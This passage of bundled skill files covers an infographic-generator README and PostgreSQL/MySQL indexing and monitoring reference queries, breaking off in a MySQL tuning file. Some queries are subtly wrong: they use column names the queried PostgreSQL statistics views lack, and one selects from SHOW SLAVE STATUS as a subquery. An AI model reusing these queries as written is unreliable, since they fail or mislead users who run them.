\"dashboard\"]\n---\n\n# Data Viz Renderer\n\nGenerate self-contained HTML/SVG infographics from JSON data. Four supported types:\n\n1. **Stats Cards** — KPI big numbers + trend arrows + icons\n2. **Comparison Chart** — Grouped bar chart with multiple series\n3. **Flow Diagram** — Step-by-step process with numbering, icons, and connecting arrows\n4. **Dashboard** — Mixed layout: stat cards + bar chart + donut chart + flow\n\nOutput is a **fully self-contained** HTML file (all CSS/SVG inline, no external dependencies), ready to open directly in a browser.\n\n## Usage\n\n### Basic Usage\n\n```bash\npython3 scripts/build_infographic.py config.json\n```\n\nAlso supports reading from stdin:\n\n```bash\ncat config.json | python3 scripts/build_infographic.py\n```\n\nThe script outputs a JSON status to stdout and writes the generated HTML to the path specified in the `output` field.\n\n### JSON Configuration Format\n\nCommon fields:\n\n| Field | Type | Required | Description |\n|-------|------|----------|-------------|\n| `title` | string | No | Infographic title |\n| `subtitle` | string | No | Subtitle |\n| `type` | string | Yes | `stats` / `comparison` / `flow` / `dashboard` |\n| `palette` | string | No | Color palette (default: `auto`) |\n| `data` | object/array | Yes | Data content (format depends on type) |\n| `output` | string | No | Output file path (default: `infographic.html`) |\n| `footer` | string | No | Footer text |\n\n### Color Palettes\n\nAvailable values: `auto` (automatically chosen based on data), `ocean`, `sunset`, `forest`, `berry`, `vibrant`, `corporate`, `pastel`, `earth`\n\n### Data Format by Type\n\n#### 1. stats — Stat Cards\n\n```json\n{\n  \"type\": \"stats\",\n  \"data\": [\n    {\n      \"label\": \"Total Revenue\",\n      \"value\": \"$1.2M\",\n      \"icon\": \"money\",\n      \"trend\": \"+12.5%\",\n      \"trend_dir\": \"up\"\n    },\n    {\n      \"label\": \"Users\",\n      \"value\": \"45,230\",\n      \"icon\": \"users\",\n      \"trend\": \"+8.2%\",\n      \"trend_dir\": \"up\"\n    }\n  ]\n}\n```\n\n**icon** options: `users`, `user`, `money`, `percent`, `globe`, `clock`, `check`, `star`, `target`, `zap`, `chart-bar`, `chart-pie`, `database`, `rocket`, `shield`, `heart`, `light`, `search`, `mail`, `settings`, `flag`, `trending-up`, `trending-down`\n\n**trend_dir**: `up` (green upward arrow) or `down` (red downward arrow)\n\n#### 2. comparison — Bar Chart Comparison\n\n```json\n{\n  \"type\": \"comparison\",\n  \"data\": {\n    \"chart_title\": \"Quarterly Revenue Comparison\",\n    \"categories\": [\"Q1\", \"Q2\", \"Q3\", \"Q4\"],\n    \"series\": [\n      {\"name\": \"2024\", \"values\": [320, 410, 380, 520]},\n      {\"name\": \"2025\", \"values\": [380, 490, 450, 610]}\n    ]\n  }\n}\n```\n\n#### 3. flow — Flow Diagram\n\n```json\n{\n  \"type\": \"flow\",\n  \"data\": [\n    {\"step\": 1, \"title\": \"Requirements\", \"description\": \"Gather user needs\", \"icon\": \"search\"},\n    {\"step\": 2, \"title\": \"Design\", \"description\": \"Create technical plan\", \"icon\": \"light\"},\n    {\"step\": 3, \"title\": \"Development\", \"description\": \"Code and test\", \"icon\": \"settings\"},\n    {\"step\": 4, \"title\": \"Launch\", \"description\": \"Deploy to production\", \"icon\": \"rocket\"}\n  ]\n}\n```\n\n#### 4. dashboard — Mixed Dashboard\n\n```json\n{\n  \"type\": \"dashboard\",\n  \"data\": {\n    \"stats\": [\n      {\"label\": \"DAU\", \"value\": \"12.3K\", \"icon\": \"users\", \"trend\": \"+5%\", \"trend_dir\": \"up\"},\n      {\"label\": \"Conversion Rate\", \"value\": \"3.8%\", \"icon\": \"target\", \"trend\": \"-0.2%\", \"trend_dir\": \"down\"}\n    ],\n    \"chart\": {\n      \"chart_title\": \"Monthly Trend\",\n      \"categories\": [\"Jan\", \"Feb\", \"Mar\", \"Apr\"],\n      \"series\": [{\"name\": \"DAU\", \"values\": [10200, 11500, 11800, 12300]}]\n    },\n    \"breakdown\": [\n      {\"label\": \"iOS\", \"value\": 45},\n      {\"label\": \"Android\", \"value\": 38},\n      {\"label\": \"Web\", \"value\": 17}\n    ],\n    \"flow\": [\n      {\"step\": 1, \"title\": \"Sign Up\", \"description\": \"\"},\n      {\"step\": 2, \"title\": \"Activate\", \"description\": \"\"},\n      {\"step\": 3, \"title\": \"Retain\", \"description\": \"\"}\n    ]\n  }\n}\n```\n\n## Output Format\n\nThe script outputs a JSON result to stdout:\n\n```json\n{\n  \"status\": \"success\",\n  \"output\": \"/absolute/path/to/infographic.html\",\n  \"type\": \"stats\",\n  \"title\": \"My Infographic\",\n  \"palette\": \"auto\",\n  \"size_bytes\": 8432\n}\n```\n\nOn error:\n\n```json\n{\n  \"status\": \"error\",\n  \"errors\": [\"Missing required field: data\"]\n}\n```\n\n## Design Highlights\n\n- **Zero external dependencies**: Pure Python standard library, no pip install needed\n- **Self-contained output**: HTML with all CSS and SVG inline, no network required\n- **Responsive layout**: Works on both desktop and mobile browsers\n- **Professional palettes**: 8 preset color schemes + automatic selection\n- **24+ built-in icons**: Common SVG icons, no font files needed\n- **CJK-friendly**: Font stack includes Noto Sans SC, PingFang SC, Microsoft YaHei\n\n## Use Cases\n\n- Visualization modules in data reports\n- Product data dashboards\n- Business process illustrations\n- Quarterly/monthly data comparisons\n- Team KPI displays\n\n## Dependencies\n\n- Python 3.7+ (standard library only)\n","skills/database-optimizer/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2FSKILL.md -->","skills/database-optimizer/references/index-strategies.md":"# Index Strategies\n\n## Index Selection Methodology\n\n### Identify Index Candidates\n\n```sql\n-- PostgreSQL: Find queries missing indexes\nSELECT query, calls, total_exec_time, mean_exec_time\nFROM pg_stat_statements\nWHERE mean_exec_time > 100\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- PostgreSQL: Find sequential scans on large tables\nSELECT schemaname, tablename, seq_scan, seq_tup_read,\n       idx_scan, seq_tup_read / seq_scan as avg_seq_tup_read\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND seq_tup_read / seq_scan > 10000\nORDER BY seq_tup_read DESC;\n\n-- MySQL: Check table scans\nSELECT * FROM sys.statements_with_full_table_scans\nWHERE db = 'your_database'\nORDER BY exec_count DESC;\n```\n\n## B-Tree Indexes (Default)\n\n### Single Column Indexes\n\n```sql\n-- Create index for WHERE clauses\nCREATE INDEX idx_users_email ON users(email);\n\n-- Create index for JOIN conditions\nCREATE INDEX idx_orders_user_id ON orders(user_id);\n\n-- Create index for ORDER BY\nCREATE INDEX idx_products_price ON products(price);\n\n-- Unique constraint as index\nCREATE UNIQUE INDEX idx_users_username ON users(username);\n```\n\n### Multi-Column Indexes\n\n```sql\n-- Order matters: most selective column first\nCREATE INDEX idx_orders_status_created\nON orders(status, created_at);\n\n-- Good for queries:\n-- WHERE status = 'pending'\n-- WHERE status = 'pending' AND created_at > '2024-01-01'\n-- WHERE status = 'pending' ORDER BY created_at\n\n-- NOT good for:\n-- WHERE created_at > '2024-01-01' (status not specified)\n\n-- Include commonly queried columns\nCREATE INDEX idx_users_active_email_name\nON users(active, email) INCLUDE (name);\n```\n\n### Column Order Guidelines\n\n```sql\n-- Rule 1: Equality before range\nCREATE INDEX idx_events_type_timestamp\nON events(type, timestamp);  -- type = 'click' AND timestamp > ...\n\n-- Rule 2: High selectivity first\nCREATE INDEX idx_orders_user_status\nON orders(user_id, status);  -- user_id is more selective than status\n\n-- Rule 3: Match query patterns\n-- Query: WHERE country = 'US' AND city = 'NYC' AND zip = '10001'\nCREATE INDEX idx_locations_country_city_zip\nON locations(country, city, zip);\n```\n\n## Covering Indexes\n\n### PostgreSQL INCLUDE Clause\n\n```sql\n-- Include non-key columns for index-only scans\nCREATE INDEX idx_users_email_covering\nON users(email) INCLUDE (name, created_at);\n\n-- Query can be satisfied entirely from index\nEXPLAIN (ANALYZE, BUFFERS)\nSELECT name, created_at\nFROM users\nWHERE email = 'user@example.com';\n-- Should show \"Index Only Scan\"\n```\n\n### MySQL Covering Indexes\n\n```sql\n-- MySQL: Add columns to end of index\nCREATE INDEX idx_orders_user_covering\nON orders(user_id, status, created_at, total);\n\n-- Query uses covering index\nEXPLAIN\nSELECT status, created_at, total\nFROM orders\nWHERE user_id = 123;\n-- Should show \"Using index\" in Extra column\n```\n\n## Partial Indexes\n\n### PostgreSQL Partial Indexes\n\n```sql\n-- Index only active users\nCREATE INDEX idx_users_active_email\nON users(email)\nWHERE active = true;\n\n-- Index only recent orders\nCREATE INDEX idx_orders_recent\nON orders(user_id, created_at)\nWHERE created_at > NOW() - INTERVAL '30 days';\n\n-- Index only pending/processing orders (ignore completed)\nCREATE INDEX idx_orders_active\nON orders(status, user_id)\nWHERE status IN ('pending', 'processing');\n\n-- Smaller index = better performance + less storage\n```\n\n### MySQL Filtered Indexes (8.0+)\n\n```sql\n-- MySQL 8.0+ supports functional indexes for similar effect\nCREATE INDEX idx_users_active\nON users((CASE WHEN active = 1 THEN email END));\n```\n\n## Expression Indexes\n\n### PostgreSQL Function Indexes\n\n```sql\n-- Index for case-insensitive search\nCREATE INDEX idx_users_email_lower\nON users(LOWER(email));\n\n-- Query must match expression\nSELECT * FROM users\nWHERE LOWER(email) = LOWER('User@Example.com');\n\n-- Index for JSONB queries\nCREATE INDEX idx_users_settings_theme\nON users((settings->>'theme'));\n\nSELECT * FROM users\nWHERE settings->>'theme' = 'dark';\n\n-- Index for date truncation\nCREATE INDEX idx_orders_date\nON orders(DATE(created_at));\n```\n\n### MySQL Generated Column Indexes\n\n```sql\n-- Create generated column, then index it\nALTER TABLE users\nADD COLUMN email_lower VARCHAR(255)\nGENERATED ALWAYS AS (LOWER(email)) STORED;\n\nCREATE INDEX idx_users_email_lower\nON users(email_lower);\n\n-- Use in queries\nSELECT * FROM users\nWHERE email_lower = LOWER('User@Example.com');\n```\n\n## Specialized Index Types\n\n### PostgreSQL GIN Indexes (Full-Text, Arrays, JSONB)\n\n```sql\n-- Full-text search\nCREATE INDEX idx_posts_search\nON posts USING GIN(to_tsvector('english', title || ' ' || content));\n\nSELECT * FROM posts\nWHERE to_tsvector('english', title || ' ' || content)\n      @@ to_tsquery('english', 'database & optimization');\n\n-- Array search\nCREATE INDEX idx_products_tags\nON products USING GIN(tags);\n\nSELECT * FROM products\nWHERE tags @> ARRAY['electronics', 'sale'];\n\n-- JSONB search\nCREATE INDEX idx_users_metadata\nON users USING GIN(metadata);\n\nSELECT * FROM users\nWHERE metadata @> '{\"plan\": \"premium\"}';\n```\n\n### PostgreSQL GiST Indexes (Geometric, Range)\n\n```sql\n-- Range types\nCREATE INDEX idx_events_time_range\nON events USING GIST(time_range);\n\nSELECT * FROM events\nWHERE time_range && '[2024-01-01, 2024-01-31]'::tstzrange;\n\n-- PostGIS geometric queries\nCREATE INDEX idx_locations_coords\nON locations USING GIST(coordinates);\n```\n\n### MySQL Full-Text Indexes\n\n```sql\n-- Full-text search\nCREATE FULLTEXT INDEX idx_posts_content\nON posts(title, content);\n\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('database optimization' IN NATURAL LANGUAGE MODE);\n\n-- Boolean mode for complex searches\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('+database -mysql' IN BOOLEAN MODE);\n```\n\n## Index Maintenance\n\n### PostgreSQL Maintenance\n\n```sql\n-- Update statistics for query planner\nANALYZE users;\n\n-- Rebuild bloated index\nREINDEX INDEX CONCURRENTLY idx_users_email;\n\n-- Check index bloat\nSELECT\n    schemaname, tablename, indexname,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size,\n    idx_scan as scans,\n    idx_tup_read as tuples_read,\n    idx_tup_fetch as tuples_fetched\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Find unused indexes\nSELECT\n    schemaname, tablename, indexname,\n    idx_scan,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size\nFROM pg_stat_user_indexes\nWHERE idx_scan = 0\n  AND indexrelname NOT LIKE 'pg_toast%'\nORDER BY pg_relation_size(indexrelid) DESC;\n```\n\n### MySQL Maintenance\n\n```sql\n-- Update statistics\nANALYZE TABLE users;\n\n-- Rebuild index\nALTER TABLE users DROP INDEX idx_users_email, ADD INDEX idx_users_email(email);\n\n-- Check index usage\nSELECT\n    object_schema,\n    object_name,\n    index_name,\n    count_star,\n    count_read,\n    count_fetch\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE object_schema = 'your_database'\nORDER BY count_star DESC;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema = 'your_database';\n```\n\n## Index Anti-Patterns\n\n| Anti-Pattern          | Issue                                           | Solution                                 |\n| --------------------- | ----------------------------------------------- | ---------------------------------------- |\n| Index every column    | Write overhead, storage waste                   | Index based on query patterns            |\n| Redundant indexes     | `(a)` + `(a,b)`                                 | Keep only `(a,b)`                        |\n| Wrong column order    | `(created_at, user_id)` for `WHERE user_id = ?` | Put filtered columns first               |\n| Over-covering         | Including rarely-used columns                   | Include only frequently accessed columns |\n| Ignoring WHERE clause | Full index for 5% of data                       | Use partial indexes                      |\n| Expression mismatch   | Index `email`, query `LOWER(email)`             | Create expression index                  |\n\n## Index Design Checklist\n\n1. **Analyze queries**: Use pg_stat_statements or slow query log\n2. **Check execution plans**: Look for Seq Scan on large tables\n3. **Design indexes**: Equality → Range → Include\n4. **Create concurrently**: Avoid locking (PostgreSQL)\n5. **Validate improvement**: Compare before/after EXPLAIN\n6. **Monitor usage**: Remove unused indexes after 30 days\n7. **Maintain regularly**: VACUUM, ANALYZE, REINDEX as needed\n","skills/database-optimizer/references/monitoring-analysis.md":"# Monitoring and Analysis\n\n## PostgreSQL Monitoring\n\n### Essential Extensions\n\n```sql\n-- Install performance monitoring extensions\nCREATE EXTENSION IF NOT EXISTS pg_stat_statements;\nCREATE EXTENSION IF NOT EXISTS pg_buffercache;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;  -- For similarity searches\n\n-- Reset statistics\nSELECT pg_stat_statements_reset();\nSELECT pg_stat_reset();\n```\n\n### Query Performance Tracking\n\n```sql\n-- Top queries by total time\nSELECT\n    substring(query, 1, 100) as short_query,\n    round(total_exec_time::numeric, 2) as total_time_ms,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_time_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round((100 * total_exec_time / sum(total_exec_time) OVER ())::numeric, 2) as pct_total\nFROM pg_stat_statements\nWHERE query NOT LIKE '%pg_stat_statements%'\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- Queries with high variance\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round(max_exec_time::numeric, 2) as max_ms,\n    round((stddev_exec_time / NULLIF(mean_exec_time, 0))::numeric, 2) as coeff_var\nFROM pg_stat_statements\nWHERE calls > 100\n  AND stddev_exec_time > mean_exec_time * 0.5\nORDER BY stddev_exec_time DESC\nLIMIT 20;\n\n-- I/O intensive queries\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    shared_blks_hit,\n    shared_blks_read,\n    shared_blks_written,\n    round((shared_blks_read::numeric / NULLIF(calls, 0)), 2) as reads_per_call,\n    round((shared_blks_hit / NULLIF(shared_blks_hit + shared_blks_read, 0)::numeric * 100), 2) as cache_hit_pct\nFROM pg_stat_statements\nWHERE shared_blks_read > 0\nORDER BY shared_blks_read DESC\nLIMIT 20;\n```\n\n### Connection and Lock Monitoring\n\n```sql\n-- Current activity\nSELECT\n    pid,\n    usename,\n    application_name,\n    client_addr,\n    state,\n    state_change,\n    query_start,\n    now() - query_start as duration,\n    wait_event_type,\n    wait_event,\n    substring(query, 1, 100) as query\nFROM pg_stat_activity\nWHERE state != 'idle'\nORDER BY query_start;\n\n-- Blocking queries\nSELECT\n    blocked_locks.pid AS blocked_pid,\n    blocked_activity.usename AS blocked_user,\n    blocking_locks.pid AS blocking_pid,\n    blocking_activity.usename AS blocking_user,\n    blocked_activity.query AS blocked_query,\n    blocking_activity.query AS blocking_query,\n    blocked_activity.application_name AS blocked_app\nFROM pg_catalog.pg_locks blocked_locks\nJOIN pg_catalog.pg_stat_activity blocked_activity ON blocked_activity.pid = blocked_locks.pid\nJOIN pg_catalog.pg_locks blocking_locks\n    ON blocking_locks.locktype = blocked_locks.locktype\n    AND blocking_locks.database IS NOT DISTINCT FROM blocked_locks.database\n    AND blocking_locks.relation IS NOT DISTINCT FROM blocked_locks.relation\n    AND blocking_locks.page IS NOT DISTINCT FROM blocked_locks.page\n    AND blocking_locks.tuple IS NOT DISTINCT FROM blocked_locks.tuple\n    AND blocking_locks.virtualxid IS NOT DISTINCT FROM blocked_locks.virtualxid\n    AND blocking_locks.transactionid IS NOT DISTINCT FROM blocked_locks.transactionid\n    AND blocking_locks.classid IS NOT DISTINCT FROM blocked_locks.classid\n    AND blocking_locks.objid IS NOT DISTINCT FROM blocked_locks.objid\n    AND blocking_locks.objsubid IS NOT DISTINCT FROM blocked_locks.objsubid\n    AND blocking_locks.pid != blocked_locks.pid\nJOIN pg_catalog.pg_stat_activity blocking_activity ON blocking_activity.pid = blocking_locks.pid\nWHERE NOT blocked_locks.granted;\n\n-- Wait events summary\nSELECT\n    wait_event_type,\n    wait_event,\n    count(*) as waiting_connections\nFROM pg_stat_activity\nWHERE wait_event IS NOT NULL\nGROUP BY wait_event_type, wait_event\nORDER BY waiting_connections DESC;\n```\n\n### Table and Index Statistics\n\n```sql\n-- Table bloat and dead tuples\nSELECT\n    schemaname,\n    tablename,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as total_size,\n    n_live_tup,\n    n_dead_tup,\n    round(n_dead_tup * 100.0 / NULLIF(n_live_tup + n_dead_tup, 0), 2) as dead_pct,\n    last_vacuum,\n    last_autovacuum,\n    last_analyze,\n    last_autoanalyze\nFROM pg_stat_user_tables\nWHERE n_live_tup > 1000\nORDER BY n_dead_tup DESC;\n\n-- Index usage and efficiency\nSELECT\n    schemaname,\n    tablename,\n    indexname,\n    idx_scan,\n    idx_tup_read,\n    idx_tup_fetch,\n    pg_size_pretty(pg_relation_size(indexrelid)) as size,\n    CASE\n        WHEN idx_scan = 0 THEN 'UNUSED'\n        WHEN idx_tup_read = 0 THEN 'NEVER_READ'\n        ELSE 'ACTIVE'\n    END as status\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Sequential scans on large tables\nSELECT\n    schemaname,\n    tablename,\n    seq_scan,\n    seq_tup_read,\n    idx_scan,\n    n_live_tup,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as size\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND n_live_tup > 10000\n  AND seq_tup_read / NULLIF(seq_scan, 0) > 10000\nORDER BY seq_tup_read DESC;\n```\n\n### Database Statistics\n\n```sql\n-- Database size and activity\nSELECT\n    datname,\n    pg_size_pretty(pg_database_size(datname)) as size,\n    numbackends as connections,\n    xact_commit,\n    xact_rollback,\n    round(xact_rollback * 100.0 / NULLIF(xact_commit + xact_rollback, 0), 2) as rollback_pct,\n    blks_read,\n    blks_hit,\n    round(blks_hit * 100.0 / NULLIF(blks_hit + blks_read, 0), 2) as cache_hit_pct\nFROM pg_stat_database\nWHERE datname NOT IN ('template0', 'template1', 'postgres')\nORDER BY pg_database_size(datname) DESC;\n\n-- Checkpoint and bgwriter statistics\nSELECT\n    checkpoints_timed,\n    checkpoints_req,\n    checkpoint_write_time,\n    checkpoint_sync_time,\n    buffers_checkpoint,\n    buffers_clean,\n    buffers_backend,\n    buffers_alloc,\n    round(100.0 * checkpoints_req / NULLIF(checkpoints_timed + checkpoints_req, 0), 2) as req_checkpoint_pct\nFROM pg_stat_bgwriter;\n```\n\n## MySQL Monitoring\n\n### Performance Schema Queries\n\n```sql\n-- Top statements by total latency\nSELECT\n    DIGEST_TEXT as query,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_sec,\n    ROUND(MAX_TIMER_WAIT / 1000000000000, 3) as max_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct_total\nFROM performance_schema.events_statements_summary_by_digest\nWHERE SCHEMA_NAME NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n\n-- Statements with full table scans\nSELECT\n    OBJECT_SCHEMA as db,\n    OBJECT_NAME as tbl,\n    COUNT_STAR as exec_count,\n    SUM_NO_INDEX_USED as full_scans,\n    SUM_NO_GOOD_INDEX_USED as bad_index\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE INDEX_NAME IS NULL\n  AND OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\n  AND COUNT_STAR > 0\nORDER BY SUM_NO_INDEX_USED DESC;\n\n-- Table I/O statistics\nSELECT\n    OBJECT_SCHEMA,\n    OBJECT_NAME,\n    COUNT_READ,\n    COUNT_WRITE,\n    COUNT_FETCH,\n    COUNT_INSERT,\n    COUNT_UPDATE,\n    COUNT_DELETE,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n```\n\n### InnoDB Status Monitoring\n\n```sql\n-- InnoDB buffer pool status\nSELECT\n    POOL_ID,\n    POOL_SIZE,\n    FREE_BUFFERS,\n    DATABASE_PAGES,\n    OLD_DATABASE_PAGES,\n    MODIFIED_DATABASE_PAGES,\n    PENDING_DECOMPRESS,\n    PENDING_READS,\n    PENDING_FLUSH_LRU,\n    PENDING_FLUSH_LIST\nFROM information_schema.INNODB_BUFFER_POOL_STATS;\n\n-- InnoDB lock waits\nSELECT\n    r.trx_id as waiting_trx,\n    r.trx_mysql_thread_id as waiting_thread,\n    r.trx_query as waiting_query,\n    b.trx_id as blocking_trx,\n    b.trx_mysql_thread_id as blocking_thread,\n    b.trx_query as blocking_query\nFROM information_schema.innodb_lock_waits w\nINNER JOIN information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id\nINNER JOIN information_schema.innodb_trx r ON r.trx_id = w.requesting_trx_id;\n\n-- Long-running transactions\nSELECT\n    trx_id,\n    trx_state,\n    trx_started,\n    TIMESTAMPDIFF(SECOND, trx_started, NOW()) as duration_sec,\n    trx_requested_lock_id,\n    trx_mysql_thread_id,\n    trx_query\nFROM information_schema.innodb_trx\nWHERE TIMESTAMPDIFF(SECOND, trx_started, NOW()) > 60\nORDER BY trx_started;\n```\n\n### Connection and Process Monitoring\n\n```sql\n-- Current connections by state\nSELECT\n    command,\n    state,\n    COUNT(*) as connections,\n    MAX(time) as max_time_sec\nFROM information_schema.processlist\nGROUP BY command, state\nORDER BY connections DESC;\n\n-- Long-running queries\nSELECT\n    id,\n    user,\n    host,\n    db,\n    command,\n    time,\n    state,\n    LEFT(info, 100) as query\nFROM information_schema.processlist\nWHERE command != 'Sleep'\n  AND time > 10\nORDER BY time DESC;\n\n-- Connection usage\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Max_used_connections';\nSHOW VARIABLES LIKE 'max_connections';\n```\n\n### System Status Variables\n\n```sql\n-- Key buffer efficiency (MyISAM)\nSHOW STATUS LIKE 'Key_%';\n\n-- InnoDB metrics\nSHOW STATUS LIKE 'Innodb_buffer_pool_%';\nSHOW STATUS LIKE 'Innodb_rows_%';\nSHOW STATUS LIKE 'Innodb_data_%';\n\n-- Table locks\nSHOW STATUS LIKE 'Table_locks_%';\n\n-- Temporary tables\nSHOW STATUS LIKE 'Created_tmp_%';\n\n-- Thread cache\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Query cache (MySQL 5.7)\nSHOW STATUS LIKE 'Qcache_%';\n```\n\n## Cross-Platform Monitoring\n\n### Resource Utilization\n\n```sql\n-- PostgreSQL: Database size growth\nSELECT\n    current_database() as database,\n    pg_size_pretty(pg_database_size(current_database())) as size,\n    (SELECT pg_size_pretty(sum(pg_total_relation_size(schemaname||'.'||tablename)))\n     FROM pg_tables\n     WHERE schemaname = 'public') as public_schema_size;\n\n-- MySQL: Database size\nSELECT\n    table_schema as database,\n    ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) as size_mb\nFROM information_schema.tables\nWHERE table_schema NOT IN ('information_schema', 'performance_schema', 'mysql', 'sys')\nGROUP BY table_schema\nORDER BY size_mb DESC;\n```\n\n### Health Check Queries\n\n```sql\n-- PostgreSQL: Overall health\nSELECT\n    'connections' as metric,\n    count(*) as current,\n    current_setting('max_connections')::int as max\nFROM pg_stat_activity\nUNION ALL\nSELECT\n    'cache_hit_ratio',\n    round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2),\n    95\nFROM pg_statio_user_tables\nUNION ALL\nSELECT\n    'database_size_gb',\n    round((pg_database_size(current_database()) / 1024.0 / 1024.0 / 1024.0)::numeric, 2),\n    NULL;\n\n-- MySQL: Overall health\nSELECT 'connections' as metric,\n       (SELECT COUNT(*) FROM information_schema.processlist) as current,\n       @@max_connections as max\nUNION ALL\nSELECT 'buffer_pool_hit_ratio',\n       ROUND((1 - (\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n       )) * 100, 2),\n       95\nUNION ALL\nSELECT 'slow_queries',\n       (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Slow_queries'),\n       NULL;\n```\n\n## Alert Thresholds\n\n### PostgreSQL Alerts\n\n```sql\n-- Connection pool nearing capacity\nSELECT\n    count(*) as current_connections,\n    current_setting('max_connections')::int as max_connections,\n    CASE\n        WHEN count(*) > current_setting('max_connections')::int * 0.9 THEN 'CRITICAL'\n        WHEN count(*) > current_setting('max_connections')::int * 0.8 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM pg_stat_activity;\n\n-- Cache hit ratio degradation\nWITH cache_stats AS (\n    SELECT\n        round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2) as hit_ratio\n    FROM pg_statio_user_tables\n)\nSELECT\n    hit_ratio,\n    CASE\n        WHEN hit_ratio < 90 THEN 'CRITICAL'\n        WHEN hit_ratio < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM cache_stats;\n\n-- Replication lag (on standby)\nSELECT\n    CASE\n        WHEN pg_last_wal_receive_lsn() = pg_last_wal_replay_lsn() THEN 0\n        ELSE EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp()))\n    END as lag_seconds,\n    CASE\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 60 THEN 'CRITICAL'\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 10 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n```\n\n### MySQL Alerts\n\n```sql\n-- InnoDB buffer pool efficiency\nSELECT\n    ROUND((1 - (\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n    )) * 100, 2) as buffer_pool_hit_ratio,\n    CASE\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 90 THEN 'CRITICAL'\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n\n-- Replication lag (on replica)\nSELECT\n    Seconds_Behind_Master as lag_seconds,\n    CASE\n        WHEN Slave_IO_Running = 'No' OR Slave_SQL_Running = 'No' THEN 'CRITICAL - Replication stopped'\n        WHEN Seconds_Behind_Master > 300 THEN 'CRITICAL'\n        WHEN Seconds_Behind_Master > 60 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM (SHOW SLAVE STATUS) s;\n```\n\n## Monitoring Best Practices\n\n1. **Establish baselines** - Record normal performance metrics\n2. **Track trends** - Monitor daily/weekly patterns\n3. **Set thresholds** - Define warning and critical levels\n4. **Automate alerts** - Use monitoring tools (Prometheus, Grafana, Datadog)\n5. **Regular reviews** - Weekly performance analysis meetings\n6. **Document changes** - Track configuration and schema modifications\n7. **Capacity planning** - Monitor growth and forecast needs\n8. **Test queries** - Validate optimizations in staging first\n","skills/database-optimizer/references/mysql-tuning.md":"# MySQL Tuning\n\n## InnoDB Memory Configuration\n\n### Buffer Pool\n\n```sql\n-- Recommended: 70-80% of system RAM for dedicated MySQL server\n-- For 16GB RAM server:\nSET GLOBAL 